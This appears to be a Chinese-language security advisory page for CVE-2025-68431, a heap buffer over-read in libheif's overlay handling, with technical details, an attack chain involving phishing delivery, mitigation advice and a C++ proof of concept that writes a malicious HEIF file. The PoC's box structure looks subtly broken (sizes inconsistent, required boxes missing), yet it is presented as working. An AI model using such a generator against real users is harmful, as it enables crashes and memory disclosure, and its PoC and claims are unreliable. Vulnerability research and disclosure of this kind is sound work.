IPBUF安全漏洞报告
English
CVE-2025-68431 CVSS 6.5 中危

CVE-2025-68431 libheif堆缓冲区越界读漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2025-68431
漏洞类型
缓冲区溢出
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
libheif

相关标签

缓冲区溢出堆越界读libheifHEIFAVIF整数下溢CVE-2025-68431

漏洞概述

libheif是一个用于HEIF和AVIF文件格式的解码器和编码器。该漏洞存在于1.21.0之前的版本中,攻击者可以通过构造恶意的HEIF文件来触发堆缓冲区越界读漏洞。当处理overlay图像项目路径时,`HeifPixelImage::overlay()`函数会计算出一个负的行长度值(可能源于未裁剪的overlay矩形或无效偏移),这个负值在转换为`size_t`类型时发生整数下溢。当这个下溢后的大值被传递给`memcpy`函数时,会导致从源平面边界之外读取大量数据,最终引发程序崩溃或潜在的敏感信息泄露。攻击者需要诱骗用户打开特制的HEIF文件才能成功利用此漏洞。

技术细节

漏洞发生在libheif的`HeifPixelImage::overlay()`函数中。当处理包含`iovl`(overlay)盒子的恶意HEIF文件时,该函数在计算overlay矩形区域时未正确进行边界检查。具体流程如下:1) 解析HEIF文件的overlay项目路径;2) 计算overlay区域时,由于矩形参数未正确裁剪或偏移值无效,产生负数行长度;3) 该负数(row_length)被隐式转换为无符号整数size_t类型,导致整数下溢变成一个极大的正值;4) memcpy调用时使用这个超大的长度参数,从源图像平面的边界之外读取数据;5) 这种越界读取可能导致程序崩溃或泄露堆内存中的敏感信息。攻击者可通过构造包含特殊构造的overlay盒子的HEIF文件来触发此漏洞。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意构造的iovl(overlay)盒子的HEIF文件,其中overlay矩形参数包含无效或超范围的尺寸和偏移值
STEP 2
步骤2
攻击者通过钓鱼邮件、恶意网站或其他方式将恶意HEIF文件传递给目标用户
STEP 3
步骤3
目标用户使用存在漏洞的libheif库版本(<1.21.0)打开或解析该恶意HEIF文件
STEP 4
步骤4
libheif的HeifPixelImage::overlay()函数在处理overlay时计算负行长度,该负值转换为size_t时发生整数下溢
STEP 5
步骤5
memcpy函数使用下溢后的超大长度参数执行越界内存读取,导致堆缓冲区越界读
STEP 6
步骤6
程序因访问违规或内存损坏而崩溃,可能造成拒绝服务或泄露堆内存中的敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <cstdint> #include <cstring> #include <fstream> // PoC for CVE-2025-68431: libheif heap buffer over-read in HeifPixelImage::overlay() // This generates a malicious HEIF file with crafted overlay box that triggers the vulnerability #pragma pack(1) struct HEIFBox { uint32_t size; uint8_t type[4]; // 'ftyp', 'meta', 'iprp', 'iovl', etc. // box content follows }; void create_malicious_heif(const char* filename) { std::ofstream f(filename, std::ios::binary); // ftyp box - file type HEIFBox ftyp = {0}; ftyp.size = 16; memcpy(ftyp.type, "ftyp", 4); f.write(reinterpret_cast<char*>(&ftyp), 12); f.write("heic", 4); // meta box with crafted iovl overlay box // The iovl box contains invalid dimensions/offsets that cause // negative row_length calculation in overlay() function HEIFBox meta = {0}; meta.size = 64; // Crafted size memcpy(meta.type, "meta", 4); f.write(reinterpret_cast<char*>(&meta), 8); // iprp box (item properties) HEIFBox iprp = {0}; iprp.size = 32; memcpy(iprp.type, "iprp", 4); f.write(reinterpret_cast<char*>(&iprp), 8); // iovl box - crafted overlay with invalid offsets HEIFBox iovl = {0}; iovl.size = 24; memcpy(iovl.type, "iovl", 4); f.write(reinterpret_cast<char*>(&iovl), 8); // Overlay data with crafted dimensions to trigger negative row_length uint32_t overlay_data[] = { 0xFFFFFFFF, // Invalid width causing negative calculation 0x00000000, // Invalid height 0x80000000, // Negative offset that underflows when cast to size_t 0x00000000 }; f.write(reinterpret_cast<char*>(overlay_data), sizeof(overlay_data)); f.close(); } int main() { create_malicious_heif("CVE-2025-68431.heic"); return 0; }

影响范围

libheif < 1.21.0

防御指南

临时缓解措施
在未安装更新之前,避免使用libheif解码来源不明的HEIF/AVIF图像文件,特别是避免解码包含iovl overlay盒子的图像文件。可在应用程序层面添加文件格式检查,在解析前验证文件头和关键盒子的合法性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表